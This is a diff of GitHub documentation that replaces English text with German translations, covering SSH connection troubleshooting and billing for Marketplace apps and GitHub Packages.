> debug1: Reading configuration data /Users/<em>you</em>/.ssh/config
> debug1: Reading configuration data /etc/ssh/ssh_config
> debug1: /etc/ssh/ssh_config line 47: Applying options for *
> debug1: Connecting to {% data variables.command_line.codeblock %} port 22.
```
The connection should be made on port 22{% ifversion fpt or ghec %}, unless you're overriding settings to use [SSH over HTTPS](/articles/using-ssh-over-the-https-port){% endif %}.
Die Verbindung sollte über Port 22{% ifversion fpt or ghec %} hergestellt werden, es sei denn, du überschreibst Einstellungen, um [SSH über HTTPS](/articles/using-ssh-over-the-https-port) zu verwenden{% endif %}.
## Always use the "git" user
## Immer den „git“-Benutzer verwenden
All connections, including those for remote URLs, must be made as the "git" user. If you try to connect with your {% data variables.product.product_name %} username, it will fail:
Alle Verbindungen, auch die zu Remote-URLs, müssen als „git“-Benutzer hergestellt werden. Wenn du versuchst, die Verbindung unter deinem {% data variables.product.product_name %}-Benutzernamen herzustellen, tritt ein Fehler auf:
```shell
$ ssh -T GITHUB-USERNAME@{% data variables.command_line.codeblock %}
$ ssh -T <em>GITHUB-USERNAME</em>@{% data variables.command_line.codeblock %}
> Permission denied (publickey).
```
If your connection failed and you're using a remote URL with your {% data variables.product.product_name %} username, you can [change the remote URL to use the "git" user](/github/getting-started-with-github/managing-remote-repositories).
Wenn deine Verbindung fehlgeschlagen ist und du eine Remote-URL mit deinem {% data variables.product.product_name %}-Benutzernamen verwendest, kannst du die [Remote-URL ändern, um den „git“-Benutzer zu verwendest](/github/getting-started-with-github/managing-remote-repositories).
You should verify your connection by typing:
Du solltest deine Verbindung mit der folgenden Eingabe überprüfen:
```shell
$ ssh -T git@{% data variables.command_line.codeblock %}
> Hi USERNAME! You've successfully authenticated...
> Hi <em>username</em>! You've successfully authenticated...
```
## Make sure you have a key that is being used
## Stelle sicher, dass du einen Schlüssel hast, der verwendet wird
{% mac %}
{% data reusables.command_line.open_the_multi_os_terminal %}
2. Verify that you have a private key generated and loaded into SSH.
2. Überprüfe, dass du einen privaten Schlüssel erzeugt und in SSH geladen haben.
```shell
# start the ssh-agent in the background
$ eval "$(ssh-agent -s)"
> Agent pid 59566
$ ssh-add -l -E sha256
> 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
> 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
```
{% endmac %}
@ -75,10 +81,10 @@ $ ssh -T git@{% data variables.command_line.codeblock %}
1. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %}
{% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %}
2. Verify that you have a private key generated and loaded into SSH.
2. Überprüfe, dass du einen privaten Schlüssel erzeugt und in SSH geladen haben.
```shell
$ ssh-add -l -E sha256
> 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
> 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
```
{% endwindows %}
@ -86,7 +92,7 @@ $ ssh -T git@{% data variables.command_line.codeblock %}
{% linux %}
{% data reusables.command_line.open_the_multi_os_terminal %}
2. Verify that you have a private key generated and loaded into SSH.
2. Überprüfe, dass du einen privaten Schlüssel erzeugt und in SSH geladen haben.
```shell
$ ssh-add -l -E sha256
> 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
@ -95,123 +101,120 @@ $ ssh -T git@{% data variables.command_line.codeblock %}
{% endlinux %}
The `ssh-add` command *should* print out a long string of numbers and letters. If it does not print anything, you will need to [generate a new SSH key](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) and associate it with {% data variables.product.product_name %}.
Der `ssh-add`-Befehl *sollte* eine lange Zeichenfolge von Zahlen und Buchstaben drucken. Wenn nichts gedruckt wird, musst du einen [neuen SSH-Schlüssel generieren](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) und ihn mit {% data variables.product.product_name %} verknüpfen.
{% tip %}
**Tip**: On most systems the default private keys (`~/.ssh/id_rsa` and `~/.ssh/identity`) are automatically added to the SSH authentication agent. You shouldn't need to run `ssh-add path/to/key` unless you override the file name when you generate a key.
**Tipp**: In den meisten Systemen werden die privaten Standardschlüssel (`~/.ssh/id_rsa` und `~/.ssh/identity`) dem SSH-Authentifizierungs-Agent automatisch hinzugefügt. Die Ausführung von `ssh-add path/to/key` sollte nicht notwendig sein, es sei denn, du überschreibst den Dateinamen beim Generieren eines Schlüssels.
{% endtip %}
### Getting more details
### Weitere Informationen abrufen
You can also check that the key is being used by trying to connect to `git@{% data variables.command_line.backticks %}`:
Du kannst auch überprüfen, ob der Schlüssel verwendet wird, indem du versuchst, eine Verbindung mit `git@{% data variables.command_line.backticks %}` herzustellen:
```shell
$ ssh -vT git@{% data variables.command_line.codeblock %}
> ...
> debug1: identity file /Users/YOU/.ssh/id_rsa type -1
> debug1: identity file /Users/YOU/.ssh/id_rsa-cert type -1
> debug1: identity file /Users/YOU/.ssh/id_dsa type -1
> debug1: identity file /Users/YOU/.ssh/id_dsa-cert type -1
> debug1: identity file /Users/<em>you</em>/.ssh/id_rsa type -1
> debug1: identity file /Users/<em>you</em>/.ssh/id_rsa-cert type -1
> debug1: identity file /Users/<em>you</em>/.ssh/id_dsa type -1
> debug1: identity file /Users/<em>you</em>/.ssh/id_dsa-cert type -1
> ...
> debug1: Authentications that can continue: publickey
> debug1: Next authentication method: publickey
> debug1: Trying private key: /Users/YOU/.ssh/id_rsa
> debug1: Trying private key: /Users/YOU/.ssh/id_dsa
> debug1: Trying private key: /Users/<em>you</em>/.ssh/id_rsa
> debug1: Trying private key: /Users/<em>you</em>/.ssh/id_dsa
> debug1: No more authentication methods to try.
> Permission denied (publickey).
```
In that example, we did not have any keys for SSH to use. The "-1" at the end of the "identity file" lines means SSH couldn't find a file to use. Later on, the "Trying private key" lines also indicate that no file was found. If a file existed, those lines would be "1" and "Offering public key", respectively:
In diesem Beispiel hatten wir keine Schlüssel, die SSH verwenden konnte. Die „-1“ am Ende der „identitiy file“-Zeilen bedeutet, dass SSH keine entsprechende Datei finden konnte. Weiter unten weisen auch die „Trying private key“-Zeilen darauf hin, dass keine Datei gefunden wurde. Wenn eine Datei vorhanden wäre, würde dort „1“ respektive „Offering public key“ (öffentlicher Schlüssel angeboten) stehen:
```shell
$ ssh -vT git@{% data variables.command_line.codeblock %}
> ...
> debug1: identity file /Users/YOU/.ssh/id_rsa type 1
> debug1: identity file /Users/<em>you</em>/.ssh/id_rsa type 1
> ...
> debug1: Authentications that can continue: publickey
> debug1: Next authentication method: publickey
> debug1: Offering RSA public key: /Users/YOU/.ssh/id_rsa
> debug1: Offering RSA public key: /Users/<em>you</em>/.ssh/id_rsa
```
## Verify the public key is attached to your account
## Überprüfen, ob der öffentliche Schlüssel an dein Konto angehängt ist
You must provide your public key to {% data variables.product.product_name %} to establish a secure connection.
Du musst deinen öffentlichen Schlüssel für {% data variables.product.product_name %} bereitstellen, um eine sichere Verbindung herzustellen.
{% mac %}
1. Open Terminal.
2. Start SSH agent in the background.
1. Öffne das Terminal.
2. Starte den SSH-Agenten im Hintergrund.
```shell
$ eval "$(ssh-agent -s)"
> Agent pid 59566
```
3. Find and take a note of your public key fingerprint.
3. Suche und notiere deinen öffentlichen Schlüssel-Fingerprint.
```shell
$ ssh-add -l -E sha256
> 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
> 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
```
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.ssh %}
6. Compare the list of SSH keys with the output from the `ssh-add` command.
![SSH key listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %}
6. Vergleiche die Liste der SSH-Schlüssel mithilfe des `ssh-add`-Befehls mit der Ausgabe.
![SSH-Schlüssel-Listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png)
{% endmac %}
{% windows %}
1. Open the command line.
2. Start SSH agent in the background.
1. Öffne die Befehlszeile.
2. Starte den SSH-Agenten im Hintergrund.
```shell
$ ssh-agent -s
> Agent pid 59566
```
3. Find and take a note of your public key fingerprint.
3. Suche und notiere deinen öffentlichen Schlüssel-Fingerprint.
```shell
$ ssh-add -l -E sha256
> 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
> 2048 <em>SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
```
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.ssh %}
6. Compare the list of SSH keys with the output from the `ssh-add` command.
![SSH key listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %}
6. Vergleiche die Liste der SSH-Schlüssel mithilfe des `ssh-add`-Befehls mit der Ausgabe.
![SSH-Schlüssel-Listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png)
{% endwindows %}
{% linux %}
1. Open Terminal.
2. Start SSH agent in the background.
1. Öffne das Terminal.
2. Starte den SSH-Agenten im Hintergrund.
```shell
$ eval "$(ssh-agent -s)"
> Agent pid 59566
```
3. Find and take a note of your public key fingerprint. If you're using OpenSSH 6.7 or older:
3. Suche und notiere deinen öffentlichen Schlüssel-Fingerprint. Bei Verwendung von OpenSSH 6.7 oder älter:
```shell
$ ssh-add -l
> 2048 a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d /Users/USERNAME/.ssh/id_rsa (RSA)
> 2048 <em>a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
```
If you're using OpenSSH 6.8 or newer:
Bei Verwendung von OpenSSH 6.8 oder neuer:
```shell
$ ssh-add -l -E md5
> 2048 MD5:a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d /Users/USERNAME/.ssh/id_rsa (RSA)
> 2048 <em>MD5:a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d</em> /Users/<em>USERNAME</em>/.ssh/id_rsa (RSA)
```
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.ssh %}
6. Compare the list of SSH keys with the output from the `ssh-add` command.
![SSH key listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %}
6. Vergleiche die Liste der SSH-Schlüssel mithilfe des `ssh-add`-Befehls mit der Ausgabe.
![SSH-Schlüssel-Listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png)
{% endlinux %}
If you don't see your public key in {% data variables.product.product_name %}, you'll need to [add your SSH key to {% data variables.product.product_name %}](/articles/adding-a-new-ssh-key-to-your-github-account) to associate it with your computer.
Wenn kein öffentlicher Schlüssel in {% data variables.product.product_name %} angezeigt wird, musst du [Deinen SSH-Schlüssel zu {% data variables.product.product_name %} hinzufügen](/articles/adding-a-new-ssh-key-to-your-github-account), um ihn deinem Computer zuzuordnen.
{% warning %}
**Warning**: If you see an SSH key you're not familiar with on {% data variables.product.product_name %}, delete it immediately and contact {% data variables.contact.contact_support %}, for further help. An unidentified public key may indicate a possible security concern. For more information, see "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)."
**Warnung**: Wenn dir auf {% data variables.product.product_name %} ein unbekannter SSH-Schlüssel angezeigt wird, solltest du ihn sofort löschen und sich an den {% data variables.contact.contact_support %} wenden. Ein Dir unbekannter öffentlicher Schlüssel kann ein Hinweis auf ein Sicherheitsproblem sein. Weitere Informationen findest du unter [Überprüfen deiner SSH-Schlüssel](/articles/reviewing-your-ssh-keys).
{% endwarning %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Canceling a GitHub Marketplace app
intro: 'You can cancel and remove a {% data variables.product.prodname_marketplace %} app from your account at any time.'
title: Eine GitHub Marketplace-App stornieren
intro: 'Du kannst {% data variables.product.prodname_marketplace %}-Apps jederzeit kündigen und aus deinem Konto entfernen.'
redirect_from:
- /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app
- /articles/canceling-an-app-for-your-personal-account
@ -18,45 +18,37 @@ topics:
- Trials
- User account
shortTitle: Cancel a Marketplace app
ms.openlocfilehash: 9295f8ab1c5d9f4f3bef027dd6def79fcaa51df4
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/10/2022
ms.locfileid: '145085767'
---
When you cancel an app, your subscription remains active until the end of your current billing cycle. The cancellation takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
Wenn Du eine App kündigst, bleibt Dein Abonnement bis zum Ende des aktuellen Abrechnungszeitraums aktiv. Die Kündigung tritt zum nächsten Abrechnungsdatum in Kraft. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace).
When you cancel a free trial on a paid plan, your subscription is immediately canceled and you will lose access to the app. If you don't cancel your free trial within the trial period, the payment method on file for your account will be charged for the plan you chose at the end of the trial period. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
Wenn Du eine kostenlose Testperiode auf einem kostenpflichtigen Plan kündigst, wird Dein Abonnement umgehend gekündigt, und Du kannst nicht mehr auf die App zugreifen. Wenn Du die kostenlose Testperiode nicht innerhalb des Testzeitraums kündigst, wird Dir der Plan, den Du am Ende des Testzeitraums auswählst, entsprechend der für Dein Konto hinterlegten Zahlungsmethode in Rechnung gestellt. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace).
{% data reusables.marketplace.downgrade-marketplace-only %}
## Canceling an app for your personal account
## Eine App für Dein persönliches Konto kündigen
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.billing_plans %}
{% data reusables.marketplace.cancel-app-billing-settings %}
{% data reusables.marketplace.cancel-app %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.marketplace.cancel-app-billing-settings %} {% data reusables.marketplace.cancel-app %}
## Canceling a free trial for an app for your personal account
## Eine kostenlose Testperiode einer App für Dein persönliches Konto kündigen
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.billing_plans %}
{% data reusables.marketplace.cancel-free-trial-billing-settings %}
{% data reusables.marketplace.cancel-app %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.marketplace.cancel-free-trial-billing-settings %} {% data reusables.marketplace.cancel-app %}
## Canceling an app for your organization
## Eine App für Deine Organisation kündigen
{% data reusables.marketplace.marketplace-org-perms %}
{% data reusables.profile.access_org %}
{% data reusables.profile.org_settings %}
{% data reusables.organizations.billing_plans %}
{% data reusables.marketplace.cancel-app-billing-settings %}
{% data reusables.marketplace.cancel-app %}
{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.billing_plans %} {% data reusables.marketplace.cancel-app-billing-settings %} {% data reusables.marketplace.cancel-app %}
## Canceling a free trial for an app for your organization
## Eine kostenlose Testperiode einer App für Deine Organisation kündigen
{% data reusables.marketplace.marketplace-org-perms %}
{% data reusables.profile.access_org %}
{% data reusables.profile.org_settings %}
{% data reusables.organizations.billing_plans %}
{% data reusables.marketplace.cancel-free-trial-billing-settings %}
{% data reusables.marketplace.cancel-app %}
{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.billing_plans %} {% data reusables.marketplace.cancel-free-trial-billing-settings %} {% data reusables.marketplace.cancel-app %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Downgrading the billing plan for a GitHub Marketplace app
intro: 'If you''d like to use a different billing plan, you can downgrade your {% data variables.product.prodname_marketplace %} app at any time.'
title: Abrechnungsplan für eine GitHub Marketplace-App herabstufen
intro: 'Wenn du einen anderen Abrechnungsplan wünschst, kannst du deine {% data variables.product.prodname_marketplace %}-App jederzeit herabstufen.'
redirect_from:
- /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app
- /articles/downgrading-an-app-for-your-personal-account
@ -17,32 +17,27 @@ topics:
- Organizations
- User account
shortTitle: Downgrade billing plan
ms.openlocfilehash: c50995729c266cbfdac13b81da4f0ffaa0b4ff85
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '145085763'
---
When you downgrade an app, your subscription remains active until the end of your current billing cycle. The downgrade takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
Wenn Du eine App herabstufst, bleibt Dein Abonnement bis zum Ende des aktuellen Abrechnungszeitraums aktiv. Die Herabstufung tritt zum nächsten Abrechnungsdatum in Kraft. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace).
{% data reusables.marketplace.downgrade-marketplace-only %}
## Downgrading an app for your personal account
## Eine App für Dein persönliches Konto herabstufen
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.billing_plans %}
{% data reusables.marketplace.downgrade-app-billing-settings %}
{% data reusables.marketplace.choose-new-plan %}
{% data reusables.marketplace.choose-new-quantity %}
{% data reusables.marketplace.issue-plan-changes %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.marketplace.downgrade-app-billing-settings %} {% data reusables.marketplace.choose-new-plan %} {% data reusables.marketplace.choose-new-quantity %} {% data reusables.marketplace.issue-plan-changes %}
## Downgrading an app for your organization
## Eine App für Deine Organisation herabstufen
{% data reusables.marketplace.marketplace-org-perms %}
{% data reusables.profile.access_org %}
{% data reusables.profile.org_settings %}
{% data reusables.organizations.billing_plans %}
{% data reusables.marketplace.downgrade-app-billing-settings %}
{% data reusables.marketplace.choose-new-plan %}
{% data reusables.marketplace.choose-new-quantity %}
{% data reusables.marketplace.issue-plan-changes %}
{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.billing_plans %} {% data reusables.marketplace.downgrade-app-billing-settings %} {% data reusables.marketplace.choose-new-plan %} {% data reusables.marketplace.choose-new-quantity %} {% data reusables.marketplace.issue-plan-changes %}
## Further reading
## Weiterführende Themen
- "[Canceling a {% data variables.product.prodname_marketplace %} app](/articles/canceling-a-github-marketplace-app/)"
- [Kündigen einer {% data variables.product.prodname_marketplace %}-App](/articles/canceling-a-github-marketplace-app/)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Upgrading the billing plan for a GitHub Marketplace app
intro: 'You can upgrade your {% data variables.product.prodname_marketplace %} app to a different plan at any time.'
title: Abrechnungsplan für eine GitHub Marketplace-App heraufstufen
intro: 'Du kannst deine {% data variables.product.prodname_marketplace %}-App jederzeit auf einen anderen Plan heraufstufen.'
redirect_from:
- /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app
- /articles/upgrading-an-app-for-your-personal-account
@ -17,26 +17,21 @@ topics:
- Upgrades
- User account
shortTitle: Upgrade billing plan
ms.openlocfilehash: bf24ee931df72fbe113fbc1fcc2c10be48fa74c5
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '145085759'
---
When you upgrade an app, your payment method is charged a prorated amount based on the time remaining until your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
Wenn Du eine App heraufstufst, wird basierend auf der verbleibenden Zeit bis zu Deinem nächsten Abrechnungsdatum ein anteiliger Betrag über Deine hinterlegte Zahlungsmethode abgerechnet. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace).
## Upgrading an app for your personal account
## Eine App für Dein persönliches Konto heraufstufen
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.billing_plans %}
{% data reusables.marketplace.upgrade-app-billing-settings %}
{% data reusables.marketplace.choose-new-plan %}
{% data reusables.marketplace.choose-new-quantity %}
{% data reusables.marketplace.issue-plan-changes %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.marketplace.upgrade-app-billing-settings %} {% data reusables.marketplace.choose-new-plan %} {% data reusables.marketplace.choose-new-quantity %} {% data reusables.marketplace.issue-plan-changes %}
## Upgrading an app for your organization
## Eine App für Deine Organisation heraufstufen
{% data reusables.marketplace.marketplace-org-perms %}
{% data reusables.profile.access_org %}
{% data reusables.profile.org_settings %}
{% data reusables.organizations.billing_plans %}
{% data reusables.marketplace.upgrade-app-billing-settings %}
{% data reusables.marketplace.choose-new-plan %}
{% data reusables.marketplace.choose-new-quantity %}
{% data reusables.marketplace.issue-plan-changes %}
{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.billing_plans %} {% data reusables.marketplace.upgrade-app-billing-settings %} {% data reusables.marketplace.choose-new-plan %} {% data reusables.marketplace.choose-new-quantity %} {% data reusables.marketplace.issue-plan-changes %}

Просмотреть файл

@ -1,6 +1,6 @@
---
title: About billing for GitHub Packages
intro: 'If you want to use {% data variables.product.prodname_registry %} beyond the storage or data transfer included in your account, you will be billed for additional usage.'
title: Informationen zur Abrechnung für GitHub Packages
intro: 'Wenn du {% data variables.product.prodname_registry %} über den in deinem Konto definierten Kontingenten für Speicher oder Datenübertragung verwenden möchtest, wird dir die zusätzliche Nutzung in Rechnung gestellt.'
product: '{% data reusables.gated-features.packages %}'
redirect_from:
- /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-packages
@ -13,83 +13,88 @@ topics:
- Packages
- Spending limits
shortTitle: About billing
ms.openlocfilehash: 809065836c17701003917cb679ffc81cceb1b47f
ms.sourcegitcommit: 9b6371e5d55e4078c717e68536eca1fcd44a45e5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/22/2022
ms.locfileid: '148180218'
---
## About billing for {% data variables.product.prodname_registry %}
## Informationen zur Abrechnung für {% data variables.product.prodname_registry %}
{% data reusables.package_registry.packages-billing %}
{% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About spending limits](#about-spending-limits)."
{% data reusables.package_registry.packages-spending-limit-brief %} Weitere Informationen findest du unter [Informationen zu Ausgabenlimits](#about-spending-limits).
{% note %}
**Billing update for container image storage:** The period of free use for container image storage and bandwidth for the {% data variables.product.prodname_container_registry %} has been extended. If you are using {% data variables.product.prodname_container_registry %} you'll be informed at least one month in advance of billing commencing and you'll be given an estimate of how much you should expect to pay. For more information about the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)."
**Aktualisierung der Abrechnung für Containerimagespeicher:** Der Zeitraum für die kostenlose Nutzung von Containerimagespeicher und Bandbreite für {% data variables.product.prodname_container_registry %} wurde verlängert. Wenn du {% data variables.product.prodname_container_registry %} verwendest, wirst du mindestens einen Monat vor Beginn der Abrechnung informiert und erhältst eine Schätzung der zu erwartenden Kosten. Weitere Informationen zu {% data variables.product.prodname_container_registry %} findest du unter [Arbeiten mit der Containerregistrierung](/packages/working-with-a-github-packages-registry/working-with-the-container-registry).
{% endnote %}
{% ifversion ghec %}
If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
{% ifversion ghec %} Wenn du {% data variables.product.prodname_enterprise %} über ein Microsoft Enterprise Agreement erworben hast, kannst du deine Azure-Abonnement-ID mit deinem Unternehmenskonto verbinden, um die Nutzung von {% data variables.product.prodname_registry %} über die im Konto enthaltenen Beträge hinaus zu aktivieren und zu bezahlen. Weitere Informationen findest du unter [Verbinden eines Azure-Abonnements mit deinem Unternehmen](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise).
{% endif %}
Data transfer resets every month, while storage usage does not.
Die Datenübertragung wird jeden Monat zurückgesetzt, während Speichernutzung dies nicht tut.
Product | Storage | Data transfer (per month)
Produkt | Storage | Datenübertragung (pro Monat)
------- | ------- | ---------
{% data variables.product.prodname_free_user %} | 500MB | 1GB
{% data variables.product.prodname_free_user %} | 500 MB | 1 GB
{% data variables.product.prodname_pro %} | 2GB | 10GB
{% data variables.product.prodname_free_team %} for organizations | 500MB | 1GB |
{% data variables.product.prodname_free_team %} für Organsationen | 500 MB | 1 GB |
{% data variables.product.prodname_team %} | 2GB | 10GB
{% data variables.product.prodname_ghe_cloud %} | 50GB | 100GB
{% data variables.product.prodname_ghe_cloud %} | 50 GB | 100 GB
All data transferred out, when triggered by {% data variables.product.prodname_actions %}, and data transferred in from any source is free. We determine you are downloading packages using {% data variables.product.prodname_actions %} when you log in to {% data variables.product.prodname_registry %} using a `GITHUB_TOKEN`.
Alle Daten, welche nach Auslösung durch {% data variables.product.prodname_actions %} nach Außen übertragen werden und alle Daten, die von irgendeiner Quelle nach Innen übertragen werden, sind kostenlos. Wir stellen fest, dass du Pakete via {% data variables.product.prodname_actions %} herunterlädst, wenn du dich bei {% data variables.product.prodname_registry %} mit `GITHUB_TOKEN` anmeldest.
||Hosted|Self-Hosted|
||Gehostet|Selbst-gehostet|
|-|-|-|
|Access using a `GITHUB_TOKEN`|Free|Free|
|Access using a {% data variables.product.pat_generic %}|Free|$|
|Zugriff mithilfe von `GITHUB_TOKEN`|Kostenlos|Kostenlos|
|Zugreifen mithilfe eines {% data variables.product.pat_generic %}|Kostenlos|$|
Storage usage is shared with build artifacts produced by {% data variables.product.prodname_actions %} for repositories owned by your account. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
Die Speichernutzung wird mit Build-Artefakten geteilt, die von {% data variables.product.prodname_actions %} für Repositorys im Besitz deines Kontos erstellt wurden. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).
{% data variables.product.prodname_dotcom %} charges usage to the account that owns the repository where the package is published. If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.008 USD per GB of storage per day and $0.50 USD per GB of data transfer.
{% data variables.product.prodname_dotcom %} belastet die Nutzung auf das Konto, welches das Repository besitzt, in dem das Paket veröffentlicht wird. Wenn die Nutzung deines Kontos diese Limits übersteigt und du ein Ausgabenlimit von mehr als 0 USD festgelegt hast, bezahlst du 0,008 USD pro GB Speicher und Tag und 0,50 USD pro GB Datenübertragung.
For example, if your organization uses {% data variables.product.prodname_team %}, allows unlimited spending, uses 150GB of storage, and has 50GB of data transfer out during a month, the organization would have overages of 148GB for storage and 40GB for data transfer for that month. The storage overage would cost $0.008 USD per GB per day or approximately $37 USD for a 31-day month. The overage for data transfer would cost $0.50 USD per GB or $20 USD.
Wenn deine Organisation beispielsweise {% data variables.product.prodname_team %} verwendet, unbegrenzte Ausgaben erlaubt, 150 GB Speicher verwendet und 50 GB Datenübertragung nach Außen während eines Monats verbraucht, würde die Organisation Überzüge von 148 GB für die Speicherung und 40 GB für die Datenübertragung für diesen Monat haben. Die Speicherüberschreitung würde 0,008 USD pro GB und Tag oder ca. 37 USD für einen Monat mit 31 Tagen kosten. Die Überschreitung für die Datenübertragung würde 0,50 USD pro GB oder 20 USD kosten.
{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_packages %}
At the end of the month, {% data variables.product.prodname_dotcom %} rounds your data transfer to the nearest GB.
Am Ende jedes Monates rundet {% data variables.product.prodname_dotcom %} deine Datenübertragungen auf das nächste GB auf.
{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage per GB during that month. For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be:
{% data variables.product.prodname_dotcom %} berechnet deinen Speicherverbrauch für jeden Monat auf Stundenbasis pro GB während dieses Monats. Wenn du z. B. im März 10 Tage lang 3 GB Speicher und 21 Tage lang 12 GB verwendet hast, berechnet sich die Speichernutzung wie folgt:
- 3 GB x 10 days x (24 hours per day) = 720 GB-Hours
- 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours
- 720 GB-Hours + 6,048 GB-Hours = 6,768 total GB-Hours
- 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months
- 3 GB x 10 Tage x (24 Stunden pro Tag) = 720 GB-Stunden
- 12 GB x 21 Tage x (24 Stunden pro Tag) = 6,048 GB-Stunden
- 720 GB-Stunden + 6.048 GB-Stunden = 6.768 GB-Stunden
